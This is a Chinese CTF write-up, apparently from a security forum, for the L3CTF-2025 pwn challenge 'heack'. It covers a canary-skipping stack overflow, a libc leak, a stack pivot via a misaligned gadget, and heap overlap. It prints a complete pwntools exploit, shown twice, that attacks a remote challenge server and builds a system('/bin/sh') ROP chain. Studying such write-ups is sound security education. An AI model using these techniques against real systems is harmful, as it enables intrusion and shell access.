-
-
[原创]L3CTF-2025:heack
-
发表于: 2025-7-15 12:17 2990
-
本来只有一道heack,但似乎原版检查比较松弛导致大量非预期解,从而出现了heack_revenge
抛去原版能够通过巧合的手段非预期解,本题的堆栈结合可以说是个很综合的题目
首先检查elf的保护
放入IDA中查看

可以看到是一个菜单题,其中第一个选项就可以看到栈溢出

我们可以观察到间接索引v4位于buf的高地址,可以被覆
使用如下payload覆盖v4低字节,可以跳过canary直接修改返回地址
payload=b'a'*0x103+p8(0x17)+p64(ret_addr)
但是由于保护全开,我们还需要libc的地址
观察game函数,发现有很多打印函数printf使用了%lu的格式化符号,所以可以假设通过将fight_dragon跳转到这些打印函数中将残留在寄存器中的libc地址打印出来

不巧的是二者有两个字节不一样,由于PIE遵循页对其机制,我们还需要爆破半个字节(1/16)
当我们成功返回到printf时,观察gdb发现,rsi中正好有个libc地址

此时我们就得到了libc,再次溢出后构造ROP即可getshell
elf的保护和逻辑没有变化,只是增加了栈溢出长度的限制(p8(xx))与溢出次数(1次)的限制

我们回头观察game函数中的奇怪的三个赋值操作


这使得text片段中出现了一些特定的机器码序列,我们可以通过这个联想到magic gadget:通过对text错位得到特殊功能的gadget
我们在gdb中观察一下
pop rbp算是附近最特殊的gadget,可以进行栈迁移,但是搞清这个gadget的具体作用我们还需要继续审计代码
在case 5中,维护着一个堆块管理系统note_system(s);
包含add,free和show操作,本身不存在漏洞,堆块管理数组位于game函数的栈帧内
通过gdb或IDA观察可以发现堆块管理数组位于game函数栈帧的低地址处
如果此时回到game后调用栈溢出函数,返回到pop rbp,我们就可以把rbp设置为堆地址,实现栈迁移

此时如果我们能在堆中写入ROP,再从game中返回就可以控制执行流

chunk[0]指向的地址会被设置为RBP,由于rbp被改变,最开始的chunk_list会改变,我们就无法直接操作原始chunk[0]
如果我们可以溢出写比rbp低地址处的堆块,我们就最终可以控制RSP
本题的重中之重便是 临时变量的地址是根据rbp决定的
知道了这一点,原本game中看似无用的选项便可以称为改变,泄露heap中数值的工具
经过简单的堆风水后我们便可以让unsortbins的fd指针与这几个栈变量重合,打印出libc地址
同时我们还可以将chunk头的size域与v3重合,这样可以让某个堆块大小变大,再经过free与malloc操作即可实现堆溢出
把ROP写到chunk[0]中
此时我们可以看到,成功堆溢出,将ROP写到chunk[0]中

此时退出note_system,返回game便可以指向ROP

[*] '/home/zer00ne/Desktop/New Folder/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No[*] '/home/zer00ne/Desktop/New Folder/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: Nofrom pwn import *#io=process('./pwn')libc=ELF('./libc.so.6')context.log_level='debug'def bug(): gdb.attach(io)def ch2(Id): io.sendlineafter(b"Choose an option: ",str(Id).encode())def add(Id,size,payload): ch2(1) io.sendlineafter(b"Enter index (0-15): ",str(Id).encode()) io.sendlineafter(b"Enter diary content size (1-2048): ",str(size).encode()) io.sendafter(b"Input your content: ",payload)def free(Id): ch2(2) io.sendlineafter(b"Enter index to destroy (0-15): ",str(Id).encode())def show(Id): ch2(3) io.sendlineafter(b"Enter index to view (0-15): ",str(Id).encode())def over(payload): io.sendlineafter(b"> ",b"1") io.sendafter(b"You grip your sword and shout:",payload)def pwn(): over(b'a'*0x103+p8(0x17)) io.send(p16(0x591A)) bug() io.sendline() io.recvuntil(b"[Attack]: ") t=io.recvline() base=int(t[:-1],10)-0x204643 print(f"libc_base==>{hex(base)}") system=base+libc.sym.system rdi=base+0x000000000010f75b bin_sh=base+next(libc.search(b"/bin/sh\x00")) payload=b'a'*0x103+p8(0x17)+p64(rdi+1)+p64(rdi)+p64(bin_sh)+p64(system) over(payload) io.sendline()while True: io=remote("1.95.34.119",9999) try: pwn() break except: io.close()io.interactive()from pwn import *#io=process('./pwn')libc=ELF('./libc.so.6')context.log_level='debug'def bug(): gdb.attach(io)def ch2(Id): io.sendlineafter(b"Choose an option: ",str(Id).encode())def add(Id,size,payload): ch2(1) io.sendlineafter(b"Enter index (0-15): ",str(Id).encode()) io.sendlineafter(b"Enter diary content size (1-2048): ",str(size).encode()) io.sendafter(b"Input your content: ",payload)def free(Id): ch2(2) io.sendlineafter(b"Enter index to destroy (0-15): ",str(Id).encode())def show(Id): ch2(3) io.sendlineafter(b"Enter index to view (0-15): ",str(Id).encode())def over(payload): io.sendlineafter(b"> ",b"1") io.sendafter(b"You grip your sword and shout:",payload)def pwn(): over(b'a'*0x103+p8(0x17)) io.send(p16(0x591A)) bug() io.sendline() io.recvuntil(b"[Attack]: ") t=io.recvline() base=int(t[:-1],10)-0x204643 print(f"libc_base==>{hex(base)}") system=base+libc.sym.system rdi=base+0x000000000010f75b bin_sh=base+next(libc.search(b"/bin/sh\x00")) payload=b'a'*0x103+p8(0x17)+p64(rdi+1)+p64(rdi)+p64(bin_sh)+p64(system) over(payload) io.sendline()while True: io=remote("1.95.34.119",9999) try: pwn() break except: io.close()io.interactive()pwndbg> x/5i 0x555555554000+0x1867+3 0x55555555586a <game+65>: pop rbp 0x55555555586b <game+66>: nop DWORD PTR [rax] 0x55555555586e <game+69>: mov edx,DWORD PTR [rbp-0x18] 0x555555555871 <game+72>: mov eax,DWORD PTR [rbp-0x14] 0x555555555874 <game+75>: xor eax,edxpwndbg> x/5i 0x555555554000+0x1867+3 0x55555555586a <game+65>: pop rbp 0x55555555586b <game+66>: nop DWORD PTR [rax] 0x55555555586e <game+69>: mov edx,DWORD PTR [rbp-0x18] 0x555555555871 <game+72>: mov eax,DWORD PTR [rbp-0x14] 0x555555555874 <game+75>: xor eax,edxwhile ( 1 ){ puts("\nDuring your grueling training, you feel compelled to document your thoughts..."); puts("1. Write a new diary entry"); puts("2. Destroy a diary entry"); puts("3. View a diary entry"); puts("4. Exit"); printf("Choose an option: "); int_4bytes = read_int_4bytes(); if ( int_4bytes == 4 ) break; if ( int_4bytes > 4 ) goto LABEL_28; switch ( int_4bytes ) { case 3: printf("Enter index to view (0-%d): ", 15LL); v4 = read_int_4bytes(); if ( v4 < 0x10 ) { if ( *(_QWORD *)(8LL * (int)v4 + a1) ) { printf("\n--- Diary Entry %d ---\n", v4); puts(*(const char **)(8LL * (int)v4 + a1)); puts("----------------------"); } else {LABEL_21: puts("No diary exists at this index."); } } else {LABEL_23: puts("Invalid index!"); } break; case 1: printf("Enter index (0-%d): ", 15LL); v2 = read_int_4bytes(); if ( (unsigned int)v2 >= 0x10 ) goto LABEL_23; if ( *(_QWORD *)(8LL * v2 + a1) ) { puts("This slot already contains a diary. Destroy it first."); } else { printf("Enter diary content size (1-2048): "); nbytes = read_int_4bytes(); if ( nbytes && nbytes <= 0x800 ) { *(_QWORD *)(8LL * v2 + a1) = malloc(nbytes + 1); if ( *(_QWORD *)(8LL * v2 + a1) ) { nbytes_4 = malloc_usable_size(*(void **)(8LL * v2 + a1)); memset(*(void **)(8LL * v2 + a1), 0, nbytes_4); printf("Input your content: "); v7 = read(0, *(void **)(8LL * v2 + a1), nbytes); if ( v7 <= 0 ) { puts("Read failed!"); free(*(void **)(8LL * v2 + a1)); return; } *(_BYTE *)(*(_QWORD *)(8LL * v2 + a1) + v7) = 0; printf("Diary saved at index %d!\n", (unsigned int)v2); puts("You steel your resolve - these memoirs shall remain sealed until the dragon lies vanquished."); } else { puts("Failed to allocate memory for diary!"); } } else { puts("Invalid size!"); } } break; case 2: printf("Enter index to destroy (0-%d): ", 15LL); v3 = read_int_4bytes(); if ( (unsigned int)v3 >= 0x10 ) goto LABEL_23; if ( !*(_QWORD *)(8LL * v3 + a1) ) goto LABEL_21; free(*(void **)(8LL * v3 + a1)); *(_QWORD *)(8LL * v3 + a1) = 0LL; printf("Diary at index %d has been destroyed.\n", (unsigned int)v3); break; default:LABEL_28: puts("Invalid choice!"); break; } } puts("Exiting diary system. Goodbye, hero!");}while ( 1 ){ puts("\nDuring your grueling training, you feel compelled to document your thoughts..."); puts("1. Write a new diary entry"); puts("2. Destroy a diary entry"); puts("3. View a diary entry"); puts("4. Exit"); printf("Choose an option: "); int_4bytes = read_int_4bytes(); if ( int_4bytes == 4 ) break; if ( int_4bytes > 4 ) goto LABEL_28; switch ( int_4bytes ) { case 3: printf("Enter index to view (0-%d): ", 15LL); v4 = read_int_4bytes(); if ( v4 < 0x10 ) { if ( *(_QWORD *)(8LL * (int)v4 + a1) ) { printf("\n--- Diary Entry %d ---\n", v4); puts(*(const char **)(8LL * (int)v4 + a1)); puts("----------------------"); } else {LABEL_21: puts("No diary exists at this index."); } } else {LABEL_23: puts("Invalid index!"); } break; case 1: printf("Enter index (0-%d): ", 15LL); v2 = read_int_4bytes(); if ( (unsigned int)v2 >= 0x10 ) goto LABEL_23; if ( *(_QWORD *)(8LL * v2 + a1) ) { puts("This slot already contains a diary. Destroy it first."); } else { printf("Enter diary content size (1-2048): "); nbytes = read_int_4bytes(); if ( nbytes && nbytes <= 0x800 ) { *(_QWORD *)(8LL * v2 + a1) = malloc(nbytes + 1); if ( *(_QWORD *)(8LL * v2 + a1) ) {赞赏
- [原创] 2025 强网杯和强网拟态部分题解 2439
- [原创]港湾杯决赛--babyshark 3068
- [原创]2025 磐石行动-线下AWD-PWN 3245
- [原创]Nepctf2025 pwn部分wp 3995
- [原创]L3CTF-2025:heack 2991